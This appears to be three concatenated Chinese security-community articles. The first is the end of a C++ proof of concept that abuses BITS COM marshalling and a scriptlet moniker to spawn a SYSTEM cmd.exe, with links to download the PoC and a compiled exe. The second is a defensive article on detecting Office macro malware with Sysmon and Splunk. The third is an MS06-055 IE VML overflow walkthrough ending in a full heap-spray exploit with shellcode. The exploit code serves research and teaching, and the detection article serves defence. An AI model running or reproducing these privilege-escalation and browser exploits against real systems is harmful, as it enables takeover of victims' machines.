DEFINE_GUID(IID_IObjectContext, 0x51372ae0, 0xcae7, 0x11cf, 0xbe, 0x81, 0x00, 0xaa, 0x00, 0xa2, 0xfa, 0x25);
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob));
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager));
class CMarshaller : public IMarshal
{
LONG _ref_count;
IUnknown * _unk;
~CMarshaller() {}
public:
CMarshaller(IUnknown * unk) : _ref_count(1)
{
_unk = unk;
}
virtual HRESULT STDMETHODCALLTYPE QueryInterface(
/* [in] */ REFIID riid,
/* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject)
{
*ppvObject = nullptr;
printf("QI [CMarshaller] - Marshaller: %ls %pn", IIDToBSTR(riid).GetBSTR(), this);
if (riid == IID_IUnknown)
{
*ppvObject = this;
}
else if (riid == IID_IMarshal)
{
*ppvObject = static_cast(this);
}
else
{
return E_NOINTERFACE;
}
printf("Queried Success: %pn", *ppvObject);
((IUnknown *)*ppvObject)->AddRef();
return S_OK;
}
virtual ULONG STDMETHODCALLTYPE AddRef(void)
{
printf("AddRef: %dn", _ref_count);
return InterlockedIncrement(&_ref_count);
}
virtual ULONG STDMETHODCALLTYPE Release(void)
{
printf("Release: %dn", _ref_count);
ULONG ret = InterlockedDecrement(&_ref_count);
if (ret == 0)
{
printf("Release object %pn", this);
delete this;
}
return ret;
}
virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags,
/* [annotation][out] */
_Out_ CLSID *pCid)
{
printf("Call: GetUnmarshalClassn");
//bits服务先查询GetUnmarshalClass返回这个GUID
GUID marshalInterceptorGUID = { 0xecabafcb, 0x7f19, 0x11d2, { 0x97, 0x8e, 0x00, 0x00, 0xf8, 0x75, 0x7e, 0x2a } };
*pCid = marshalInterceptorGUID; // ECABAFCB-7F19-11D2-978E-0000F8757E2A
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
/* [annotation][unique][in] */
_In_ IStream *pStm,
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags)
{
printf("Marshal marshalInterceptorGUID Interface: %lsn", IIDToBSTR(riid).GetBSTR());
GUID marshalInterceptorGUID = { 0xecabafcb, 0x7f19, 0x11d2, { 0x97, 0x8e, 0x00, 0x00, 0xf8, 0x75, 0x7e, 0x2a } };
printf("Call: MarshalInterfacen");
ULONG written = 0;
HRESULT hr = 0;
IMonikerPtr scriptMoniker;
IMonikerPtr newMoniker;
IBindCtxPtr context;
GUID compositeMonikerGUID = { 0x00000309, 0x0000, 0x0000, { 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
//流中需要的头结构数据
UINT header[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
UINT monikers[] = { 0x02, 0x00, 0x00, 0x00 };
GUID newMonikerGUID = { 0xecabafc6, 0x7f19, 0x11d2, { 0x97, 0x8e, 0x00, 0x00, 0xf8, 0x75, 0x7e, 0x2a } };
pStm->Write(header, 12, &written);
pStm->Write(GuidToByteArray(marshalInterceptorGUID), 16, &written);
pStm->Write(monikers, 4, &written);
pStm->Write(GuidToByteArray(compositeMonikerGUID), 16, &written);
pStm->Write(monikers, 4, &written);
hr = CreateBindCtx(0, &context);
ULONG cchEaten;
//导致最终结果的scriptMoniker
hr = MkParseDisplayName(context, GetExeDirMarshal() + L"\run.sct", &cchEaten, &scriptMoniker);
//创建复合的moniker
hr = CoCreateInstance(newMonikerGUID, NULL, CLSCTX_ALL, IID_IUnknown, (LPVOID*)&newMoniker);
//写入第一个moniker
hr = OleSaveToStream(scriptMoniker, pStm);
//写入第二个moniker
hr = OleSaveToStream(newMoniker, pStm);
return hr;
}
bstr_t GetExeDirMarshal()
{
WCHAR curr_path[MAX_PATH] = { 0 };
GetModuleFileName(nullptr, curr_path, MAX_PATH);
PathRemoveFileSpec(curr_path);
return curr_path;
}
unsigned char const* GuidToByteArray(GUID const& g)
{
return reinterpret_cast(&g);
}
virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags,
/* [annotation][out] */
_Out_ DWORD *pSize)
{
*pSize = 1024;
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(
/* [annotation][unique][in] */
_In_ IStream *pStm,
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][out] */
_Outptr_ void **ppv)
{
return E_NOTIMPL;
}
virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(
/* [annotation][unique][in] */
_In_ IStream *pStm)
{
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE DisconnectObject(
/* [annotation][in] */
_In_ DWORD dwReserved)
{
return S_OK;
}
};
class FakeObject : public IBackgroundCopyCallback2, public IPersist
{
HANDLE m_ptoken;
LONG m_lRefCount;
IUnknown *_umk;
~FakeObject() {};
public:
//Constructor, Destructor
FakeObject(IUnknown *umk) {
_umk = umk;
m_lRefCount = 1;
}
//IUnknown
HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)
{
printf("QI [FakeObject] - Marshaller: %ls %pn", IIDToBSTR(riid).GetBSTR(), this);
if (riid == __uuidof(IUnknown))
{
printf("Query for IUnknownn");
*ppvObj = this;
}
else if (riid == __uuidof(IBackgroundCopyCallback2))
{
printf("Query for IBackgroundCopyCallback2n");
}
else if (riid == __uuidof(IBackgroundCopyCallback))
{
printf("Query for IBackgroundCopyCallbackn");
}
else if (riid == __uuidof(IPersist))
{
printf("Query for IPersistn");
*ppvObj = static_cast(this);
//*ppvObj = _unk2;
}
else if (riid == IID_ITMediaControl)
{
printf("Query for ITMediaControln");
*ppvObj = static_cast(this);
//*ppvObj = this;
}
else if (riid == CLSID_AggStdMarshal2)
{
printf("Query for CLSID_AggStdMarshal2n");
*ppvObj = (this);
}
else if (riid == IID_IMarshal)
{
printf("Query for IID_IMarshaln");
//*ppvObj = static_cast(this);
*ppvObj = NULL;
return E_NOINTERFACE;
}
else if (riid == IID_IMarshalOptions)
{
printf("PrivateTarProxy IID_IMarshalOptions IID: %ls %pn", IIDToBSTR(riid).GetBSTR(), this);
ppvObj = NULL;
return E_NOINTERFACE;
}
else
{
printf("Unknown IID: %ls %pn", IIDToBSTR(riid).GetBSTR(), this);
*ppvObj = NULL;
return E_NOINTERFACE;
}
((IUnknown *)*ppvObj)->AddRef();
return NOERROR;
}
ULONG __stdcall AddRef()
{
return InterlockedIncrement(&m_lRefCount);
}
ULONG __stdcall Release()
{
ULONG ulCount = InterlockedDecrement(&m_lRefCount);
if (0 == ulCount)
{
delete this;
}
return ulCount;
}
virtual HRESULT STDMETHODCALLTYPE JobTransferred(
/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob)
{
printf("JobTransferredn");
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE JobError(
/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
/* [in] */ __RPC__in_opt IBackgroundCopyError *pError)
{
printf("JobErrorn");
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE JobModification(
/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
/* [in] */ DWORD dwReserved)
{
printf("JobModificationn");
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE FileTransferred(
/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
/* [in] */ __RPC__in_opt IBackgroundCopyFile *pFile)
{
printf("FileTransferredn");
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE GetClassID(
/* [out] */ __RPC__out CLSID *pClassID)
{
printf("GetClassIDn");
*pClassID = GUID_NULL;
return S_OK;
}
};
class ScopedHandle
{
HANDLE _h;
public:
ScopedHandle() : _h(nullptr)
{
}
ScopedHandle(ScopedHandle&) = delete;
ScopedHandle(ScopedHandle&& h) {
_h = h._h;
h._h = nullptr;
}
~ScopedHandle()
{
if (!invalid())
{
CloseHandle(_h);
_h = nullptr;
}
}
bool invalid() {
return (_h == nullptr) || (_h == INVALID_HANDLE_VALUE);
}
void set(HANDLE h)
{
_h = h;
}
HANDLE get()
{
return _h;
}
HANDLE* ptr()
{
return &_h;
}
};
_COM_SMARTPTR_TYPEDEF(IEnumBackgroundCopyJobs, __uuidof(IEnumBackgroundCopyJobs));
void TestBits(HANDLE hEvent)
{
IBackgroundCopyManagerPtr pQueueMgr;
IID CLSID_BackgroundCopyManager;
IID IID_IBackgroundCopyManager;
CLSIDFromString(L"{4991d34b-80a1-4291-83b6-3328366b9097}", &CLSID_BackgroundCopyManager);
CLSIDFromString(L"{5ce34c0d-0dc9-4c1f-897c-daa1b78cee7c}", &IID_IBackgroundCopyManager);
//会在bit服务中创建对方进程的远程对象IBackgroundCopyManager
HRESULT hr = CoCreateInstance(CLSID_BackgroundCopyManager, NULL,
CLSCTX_ALL, IID_IBackgroundCopyManager, (void**)&pQueueMgr);
//自己构造的s实现IMarshal接口的类
IUnknown * pOuter = new CMarshaller(static_cast(new FakeObject(nullptr)));
IUnknown * pInner;
CoGetStdMarshalEx(pOuter, CLSCTX_INPROC_SERVER, &pInner);
IBackgroundCopyJobPtr pJob;
GUID guidJob;
//先取消所有job
IEnumBackgroundCopyJobsPtr enumjobs;
hr = pQueueMgr->EnumJobsW(0, &enumjobs);
if (SUCCEEDED(hr))
{
IBackgroundCopyJob* currjob;
ULONG fetched = 0;
while ((enumjobs->Next(1, &currjob, &fetched) == S_OK) && (fetched == 1))
{
LPWSTR lpStr;
if (SUCCEEDED(currjob->GetDisplayName(&lpStr)))
{
if (wcscmp(lpStr, L"BitsAuthSample") == 0)
{
CoTaskMemFree(lpStr);
currjob->Cancel();
currjob->Release();
break;
}
}
currjob->Release();
}
}
//创建job它
pQueueMgr->CreateJob(L"BitsAuthSample",
BG_JOB_TYPE_DOWNLOAD,
&guidJob,
&pJob);
IUnknownPtr pNotify;
pNotify.Attach(new CMarshaller(pInner));
{
//调用SetNotifyInterface参数我是自定义对象,远程对象继承IMarshal接口
HRESULT hr = pJob->SetNotifyInterface(pNotify);
printf("Result: %08Xn", hr);
}
if (pJob)
{
pJob->Cancel();
}
printf("Donen");
SetEvent(hEvent);
}
bstr_t GetExeDir()
{
WCHAR curr_path[MAX_PATH] = { 0 };
GetModuleFileName(nullptr, curr_path, MAX_PATH);
PathRemoveFileSpec(curr_path);
return curr_path;
}
void WriteFile(bstr_t path, const std::vector data)
{
ScopedHandle hFile;
hFile.set(CreateFile(path, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, nullptr));
if (hFile.invalid())
{
throw _com_error(E_FAIL);
}
if (data.size() > 0)
{
DWORD bytes_written;
if (!WriteFile(hFile.get(), data.data(), data.size(), &bytes_written, nullptr) || bytes_written != data.size())
{
throw _com_error(E_FAIL);
}
}
}
void WriteFile(bstr_t path, const char* data)
{
const BYTE* bytes = reinterpret_cast(data);
std::vector data_buf(bytes, bytes + strlen(data));
WriteFile(path, data_buf);
}
std::vector ReadFile(bstr_t path)
{
ScopedHandle hFile;
hFile.set(CreateFile(path, GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr));
if (hFile.invalid())
{
throw _com_error(E_FAIL);
}
DWORD size = GetFileSize(hFile.get(), nullptr);
std::vector ret(size);
if (size > 0)
{
DWORD bytes_read;
if (!ReadFile(hFile.get(), ret.data(), size, &bytes_read, nullptr) || bytes_read != size)
{
throw _com_error(E_FAIL);
}
}
return ret;
}
bstr_t GetExe()
{
WCHAR curr_path[MAX_PATH] = { 0 };
GetModuleFileName(nullptr, curr_path, MAX_PATH);
return curr_path;
}
const wchar_t x[] = L"ABC";
const wchar_t scriptlet_start[] = L"rnrnrnrnrnrnrnrnrnrn";
bstr_t CreateScriptletFile()
{
//创建sct脚本
bstr_t script_file = GetExeDir() + L"\run.sct";
DeleteFile(script_file);
bstr_t script_data = scriptlet_start;
bstr_t exe_file = GetExe();
wchar_t* p = exe_file;
while (*p)
{
if (*p == '\')
{
*p = '/';
}
p++;
}
DWORD session_id;
ProcessIdToSessionId(GetCurrentProcessId(), &session_id);
WCHAR session_str[16];
StringCchPrintf(session_str, _countof(session_str), L"%d", session_id);
script_data += L""" + exe_file + L"" " + session_str + scriptlet_end;
WriteFile(script_file, script_data);
return script_file;
}
void CreateNewProcess(const wchar_t* session)
{
DWORD session_id = wcstoul(session, nullptr, 0);
ScopedHandle token;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token.ptr()))
{
throw _com_error(E_FAIL);
}
ScopedHandle new_token;
if (!DuplicateTokenEx(token.get(), TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, new_token.ptr()))
{
throw _com_error(E_FAIL);
}
SetTokenInformation(new_token.get(), TokenSessionId, &session_id, sizeof(session_id));
STARTUPINFO start_info = {};
start_info.cb = sizeof(start_info);
start_info.lpDesktop = L"WinSta0\Default";
PROCESS_INFORMATION proc_info;
WCHAR cmdline[] = L"cmd.exe";
if (CreateProcessAsUser(new_token.get(), nullptr, cmdline,
nullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &start_info, &proc_info))
{
CloseHandle(proc_info.hProcess);
CloseHandle(proc_info.hThread);
}
}
int _tmain(int argc, _TCHAR* argv[])
{
try
{
CreateScriptletFile();
if (argc > 1)
{
//如果从sct文件调用自身
CreateNewProcess(argv[1]);
}
else
{
HANDLE hTokenTmp = 0;
HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
HRESULT hr = 0;
// 初始化com组件安全设置
hr = CoInitialize(NULL);
hr = CoInitializeSecurity(
NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_CONNECT,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
EOAC_DYNAMIC_CLOAKING | 8,
NULL);
if (FAILED(hr))
{
return false;
}
TestBits(hEvent);
char szInput[64];
scanf_s("%[a-z0-9]", szInput);
CloseHandle(hEvent);
}
}
catch (const _com_error& err)
{
printf("Error: %lsn", err.ErrorMessage());
}
CoUninitialize();//释放COM
return 0;
}
## 总结
我的方法对于支持自定义marshal的任意com远程对象适用，请读者自行研究poc源码可在vs2013下编译
如果poc无法运行可能是被其他软件注册了不同的sct脚本打开配置，window的默认配置是在注册表
HKEY_CLASSES_ROOT.sct路径，里面(默认)=scriptletfile,Content
Type=text/scriptlet就能正常运行poc,，如果还是不行请运行bitsadmin /reset /allusers命令清除bits服务缓存
## 备注
如果你对我研究感兴趣，可以联系我邮箱[[email protected]](mailto:[email protected]),一起来研究com组件的安全性方面问题
代码托管在[https://gitee.com/cbwang505/ComPoc欢迎fork](https://gitee.com/cbwang505/ComPoc%E6%AC%A2%E8%BF%8Efork)
**poc下载地址**
<https://pan.baidu.com/s/1MS6Qjn4WpLNY_1AP9mpr5A>
**exe版**
<https://pan.baidu.com/s/1k4V2ZQfLBgQQ5ggYfzHNVA>
审核人：yiwang 编辑：少爷 | 社区文章 |
# 针对Office宏病毒的高级检测
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在之前的文章——[《威胁狩猎的最佳实践》](https://blog.moofeng.cn/jian-ce-gong-cheng/wei-xie-shou-lie-de-zui-jia-shi-jian#shen-ru-yan-jiu)里提到过一个针对钓鱼邮件的检测场景，本文会详细分享下当时使用的技巧
遵循前文提到的威胁狩猎流程，让我们从威胁假设(hypothesis)出发：
> 攻击者可能发送带有恶意附件的钓鱼邮件，诱导受害者点击从而获取对方的系统控制权限
期间会借助 [Atomic](https://github.com/redcanaryco/atomic-red-team/)
工具完成攻击复现，再对具体的过程细节进行分析取证，然后深入研究、剖析其行为特征
最后输出检测规则或者 dashboard，作为本次威胁狩猎活动的产出
PS：注意，这里只是提供一种检测思路，测试过程均在实验环境下完成，并不代表实际工作效果
## 分析取证
在对特定攻击活动做数字取证(Digital Forensics)的过程中，通常我会采用 **漏斗状的思维模型** ，一步步缩小观测范围，聚焦目标行为特征
简单做了张图，大概是这么个意思：
### 采集全量日志
针对威胁假设的场景，首先我们需要尽可能地保证 office 办公软件的所有行为无处遁形
为了实现图中的逐层分析，还是拿出我惯用的 sysmon，借助其 **配置文件** 来完成，千万别小瞧了这些配置，里面可是有宝藏的！
第一步，建立 **OfficeWatch.xml** 的配置文件，部分内容示例如下：
<Sysmon schemaversion="4.70">
<HashAlgorithms>md5</HashAlgorithms>
<CheckRevocation/>
<EventFiltering>
<RuleGroup name="Process Creation-Include" groupRelation="or">
<ProcessCreate onmatch="include">
<Image name="" condition="end with">WINWORD.EXE</Image>
<ParentImage name="" condition="end with">WINWORD.EXE</ParentImage>
<Image name="" condition="end with">EXCEL.EXE</Image>
<ParentImage name="" condition="end with">EXCEL.EXE</ParentImage>
</ProcessCreate>
</RuleGroup>
<RuleGroup name="Process Creation-Exclude" groupRelation="or">
<ProcessCreate onmatch="exclude">
</ProcessCreate>
</RuleGroup>
<RuleGroup name="Network Connect-Include" groupRelation="or">
<NetworkConnect onmatch="include">
<Image name="" condition="end with">WINWORD.EXE</Image>
<Image name="" condition="end with">EXCEL.EXE</Image>
</NetworkConnect>
</RuleGroup>
<RuleGroup name="Network Connect-Exclude" groupRelation="or">
<NetworkConnect onmatch="exclude">
</NetworkConnect>
</RuleGroup>
<RuleGroup name="File Create - Include" groupRelation="or">
<FileCreate onmatch="include">
<Image name="" condition="end with">WINWORD.EXE</Image>
<Image name="" condition="end with">EXCEL.EXE</Image>
</FileCreate>
</RuleGroup>
<RuleGroup name="File Create - Exclude" groupRelation="or">
<FileCreate onmatch="exclude">
</FileCreate>
</RuleGroup>
</EventFiltering>
</Sysmon>
指定 office 软件相关的文件名，保证其进程、文件、网络、DLL 加载和注册表等日志均能被全量采集，同时避免干扰信息
另外，这一步的主要目的不仅是为了 **保持观测目标的可见性** ，更是为了下一步缩小观测范围而 **建立遥测数据的白名单**
例如，平常我们在打开 word 文档的过程中，会产生与微软服务器间的通信，这些是我们需要进行加白处理的
同样的，这些加载的 DLL 文件也可以建立一份白名单，当然也别忘了多加留意它们的 **签名状态** (SignatureStatus)
最后，分析、汇总上述成果，建立一份新的配置文件，用于过滤 office 办公软件的正常行为，将其命名为 **OfficeShush.xml**
### 过滤正常行为
关于 OfficeShush.xml 文件的迭代，其实也就是我们对 office 软件相关进程 **建设行为基线** 的过程
这一步需要我们在实验环境下考量全面，夯实基础，再去生产环境中慢慢打磨优化
然后，便得引入丰富的恶意样本，分析其在过滤正常行为后的特征表现
这里其实就是 **攻击复现** 的过程了，以 [T1204.002](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1204.002/T1204.002.md) 为例，跑完攻击脚本，看看会有哪些有意思的发现：
—— 一些脚本文件的创建
—— 一些异常的命令执行和父子进程关系
—— 一些特定行为(例如运行宏、XMLDOM、WMI等)才会加载的 DLL
### 聚焦可疑特征
通过对各类恶意样本或者具体攻击方式做深入分析，我们可以简单梳理一些常见攻击行为会表现出来的特征：
— 可疑文件的落地(释放脚本或可执行文件)
— 涉及敏感注册表位置的修改
— 可疑DLL文件的加载行为(加载COM、WMI、或.NET功能所必需的DLL文件)
— 可疑的网络请求行为(与云服务商或者奇怪的域名通信)
— 异常的父子进程关系(office软件调用powershell、cmd命令行)
— …
整理好这些特征点，我们可以凭此生成新的日志采集配置文件，或者给相应的遥测数据打上标签，或者直接加工后转换成检测规则
但是在此之前呢，我想先介绍一种告警手段 —— **Risk-Based Alerting(RBA)**
一些安全运营人员可能对“ **元告警** ”(Meta-Alert)的概念并不陌生，这类告警通常由其它安全设备上报而来
比如在 SIEM 上消费由 EDR 产生的病毒或后门类的告警，这种可以称之为 “meta alert”
在此基础之上，我想谈论的情况是： **在一段时间内，有两条及以上针对同一主机(事件)的检测规则，组合产生了一条告警**
什么时候应该使用这种告警方式呢？
在很多场景中，SIEM 或 SOC 平台上的规则检出只能被视为一种 **弱信号** (weak signals)
它们更适宜被归类成 observable 或 indicator，而不适合直接用作告警，否则会引起运营人员的 **告警疲劳**
此时如果我们通过一种检测方式对这些信号做关联分析，最后产出告警，这一思路就被称作 RBA
受限于手头的工具和平台，本文我只能借助 splunk 演示一种类似的检测方式，通过生成一段 **Hyper Queries** 来达到差不多的效果
## 威胁分析
### 行为检测
根据前面整理出的这些 office 宏病毒相关的可疑活动或者高危操作的行为特征，先写一些简单的规则给它们定个性
这一步可以借助 splunk 给符合特定行为的 sysmon 日志 **打上不同的标签** ，或者 **进行危害评分** ，便于后续做关联分析
比如攻击者可能会利用宏代码调用 cmd、powershell 等进程，进一步完成恶意命令执行的操作
或者攻击者会将 payload 写入磁盘，以特定后缀形式的文件在受害者主机落地
### 风险判定
放在平时，或许很多人会直接拿着这些行为特征输出成告警
但是针对 office 邮件钓鱼这类频发场景，我们不妨深入研究下，加入一些算法以提高告警置信度
以下演示中，我会为不同的行为简单地指定风险评分，最后进行求和汇总，将超过特定阈值的一系列行为视作高危操作
为方便读者自行对比，找了一篇友商近期的分析文章：<https://mp.weixin.qq.com/s/1L7o1C-aGlMBAXzHqR9udA>
然后上 ANYRUN
拿了份样本：<https://app.any.run/tasks/300229f4-dd97-42d8-bbce-72274ef8b9e9>
实验过程中的检测效果如下：
演示代码放在这里：<https://github.com/Moofeng/DemoCode/blob/main/office_detection_spl>
结合上述文章和检测结果，可以看到攻击过程几个异常点都能很好的标识出来，例如 **background.dll 文件的落地** 和 **通过 COM
对象执行计划任务** 等关键步骤
最后的判定结果还是具备一定参考意义的，当然，具体的评分体系需要自行设置和优化
## 小结
本文灵感来源于 @Anton，篇幅限制，省略了部分细节，强烈建议感兴趣的同学去看原视频：
<https://www.youtube.com/watch?v=soF5iyeeWDg>
实验过程中借助 splunk 实现的一些检测技巧，参考 @Alex 的文章：
<https://github.com/inodee/threathunting-spl/blob/master/hunt-queries/powershell_qualifiers.md>
感谢！ | 社区文章 |
目录：
0x1：漏洞触发原理
0x2：分析环境准备
0x3：VML标记语言简介
0x4：通过POC代码观察漏洞
0x5：漏洞的利用
# 0x1：漏洞触发原理
MS06-055是 IE 在解析 VML 标记语言时，由于没有做字符串长度的限制而存在的基于栈的缓冲区溢出漏洞。引起栈溢出的是 IE 的核心组件
vgx.dll，引起漏洞的函数是 vgx.dll库中的SHADETYPE_TEXT::TEXT(ushort co nst * ,in t)。
# 0x2：分析环境准备
windows2000SP4，OD，IDA
IE版本：5.00.3700.1000
Vgx.dll版本：5.0.3014.1003
# 0x3：VML标记语言简介
VML 即矢量标记语言（Vector Markup Language），IE 从 5.0 版本以后开始在 HTML 文件中支持这种语言。在 Web
应用中如果需要绘制的图形比较简单，就可以使用矢量标记语言，用文本方式告诉客户端一些关键的绘图坐标，浏览器按照 VML
语言格式解析了这些坐标之后就能绘出精确的图形。例如下面这段 HTML：
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<title>failwest</title>
<style>
<!--v\:* { behavior: url(#default#VML); }-->
</style>
</head>
<body>
<v:rect style="width:44pt;height:44pt" fillcolor="black">
<v:fill method="QQQQ"/>
</v:rect>
</body>
</html>
在上述代码中，告诉浏览器以下绘图信息。 v:rect表示需要绘制的图形形状为矩形。也可绘制其他形状，如 Line、Polyline、Curve、l
Roundrect 等。style=width:44pt，表示矩形宽为 44 个像素， height:44pt，表示矩形高为 44
个像素。fillcolor=black ，表示该矩形用黑色填充。也就是说，这一行 VML 代码告诉客户端在屏幕上绘制一个尺寸为 44×44
像素的颜色为黑色的正方形。运行这段HTML代码可以看到如下图所示的效果：
# 0x4：通过POC代码观察漏洞
可以通过上面的HTML代码来观察这个漏洞：
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<title>failwest</title>
<style>
<!--v\:* { behavior: url(#default#VML); }-->
</style>
</head>
<body>
<v:rect style="width:44pt;height:44pt" fillcolor="black">
<v:fill method="QQQQ"/>
</v:rect>
</body>
</html>
引起漏洞的函数是 vgx.dll库中的SHADETYPE_TEXT::TEXT(ushort co nst * ,in t)，它会将页面中<v:fill
method="QQQQ"/>数据域中的字符串在未经长度限制的情况下复制到栈中，造成溢出。
我们可以先用IDA对vgx.dll进行反汇编来了解这个函数的一些基本信息，这里采用的vgx.dll的版本是5.00.3700.1000，该文件在“C:\Program
Files\Common Files\Microsoft Shared\VGX\“目录下，用IDA加载后，通过”View“=>”Open
Subviews”=>”Functions”找到对应函数SHADETYPE_TEXT::TEXT(ushort co nst * ,in
t),所在地址为0x659D7B46。
目前还不知道溢出发生的具体位置，只知道它在这个函数中，所以需要通过动态跟踪在漏洞函数中观察栈溢出发生的位置，得到了漏洞函数地址就可以进行动态调试。
这里先将vgx.dll用OD加载，然后Ctrl+G找到漏洞函数地址0x659D7B46并下断点，然后打开IE，并用OD附加，F9运行之后用IE打开上述的HTML程序，结果发现程序虽然顺利运行，但是漏洞函数没有被断下。
因此，直接用OD打开IE，然后在IE中打开HTML程序，让程序正常运行，这时vgx.dll已经被IE加载，然后Crtl+G定位到漏洞函数地址并下断点，接着刷新IE，于是，漏洞函数被顺利断下，来到了漏洞函数的入口处。
之前在分析POC代码的的时候提到：漏洞函数SHADETYPE_TEXT::TEXT(ushort co nst * ,in t)将页面中<v:fill
method="QQQQ"/>数据域中的字符串在未经长度限制的情况下复
制到栈中，造成溢出。于是，在接下来的单步跟踪过程中，注意观察右下角的栈中在执行完哪条指令后会出现"QQQQ"，由此来定位溢出发生的具体位置。
接着F8单步执行，同时观察栈中状态，当执行完0x659D7B86处的“Call
659D7AEA“之后可以发现，字符串"QQQQ"被复制到栈中，由此推测这个函数应该是溢出发生的地方。
我们可以用多个“Q“来填充数据域(<v:fill method="QQQQ…………QQQQ"/>)，看看0x659D7B86处的“Call
659D7AEA“会不会对字符串长度进行限制。按照之前的方法，用OD重新加载IE，然后用IE打开新编写的HTML程序，运行之后在漏洞函数地址下断，然后刷新IE，来到断点处，之后F8单步执行，执行完0x659D7B86处的函数之后可以看到大量”Q“字符被复制到了栈中，如果计算出字符串复制的起始地址到函数的返回地址的距离，便可以用精心构造的数据覆盖函数返回地址，从而控制程序流程。
0x659D7B86处的“Call 659D7AEA“复制字符串造成了溢出，在0x659D7B86之前的汇编指令也没有对字符串的长度进行判断。
重新加载后F7跟进去看看0x659D7B86处的“Call
659D7AEA“函数，可以发现该函数只是不断在循环往复对数据域中的字符进行复制，没有检测字符串长度。
由于没有对要数据域中的字符串进行长度检测，导致多余的字符覆盖返回地址，程序流程就可以被修改。
接着用HeapSpray构造一个同于弹出一个对话框的exploit。大致步骤如下：
（1）首先在页面中使用 JavaScript连续申请 200 块大小为 1MB 的内存空间。每个内存块都以 0x90 填充，并在内存块的末尾部署
shellcode。
（2）JavaScript 的内存申请从内存低址 0x00000000 向内存高址分配，200MB（200MB=200 _1024_
1024=0x0C800000>0x0C0C0C0C） 的内存申请意味着内存地址 0x0c0c0c0c 将被申请的内存块覆盖。
（3）用足够多的 0x0c 字节填充缓冲区，确保返回地址被覆盖为 0x0c0c0c0c。
（4）函数返回后，会跳去堆区的地址 0x0c0c0c0c
取指执行，恰好遇到我们申请的其中一块堆内存。0x0C和0x90一样，对程序执行无关痛痒，eip遇到这类指令只会“滑过去“，顺序执行完大量的 nop
指令之后，CPU 将最终将执行 shellcode。
Exploit的基本结构如下：
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<title>failwest</title>
<style>
<!--v\:* { behavior: url(#default#VML); }-->
</style>
</head>
<script language="javascript">
var shellcode="\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6577\u7473\u6668\u6961\u8b6c\u53c4\u5050\uff53\ufc57\uff53\uf857";
var nop="\u9090\u9090";
while (nop.length<= 0x100000/2)
{
nop+=nop;
}
<!--生成一个 1MB 大小充满 0x90 的数据块-->
var slide = new Array();
for (var i=0; i<200; i++)
{
slide[i] = nop + shellcode;
}
<!—申请200个内存块-->
</script>
<body>
<v:rect style="width:444pt;height:444pt" fillcolor="black">
<v:fill method="ఌఌఌ
<!--由于篇幅太长，此处省略很多“ఌ“-->
ఌఌఌఌఌఌఌఌ "/>
<!—HTML的数据域用大量0x0C来填充，用来覆盖返回地址-->
</v:rect>
</body>
</html>
完成后执行这个HTML，对话框成功弹出。
接着按照之前的方法来调试跟踪这段HTML，看看具体的利用过程，但是会发现程序运行一段时间后就终止了，不能弹出对话框。
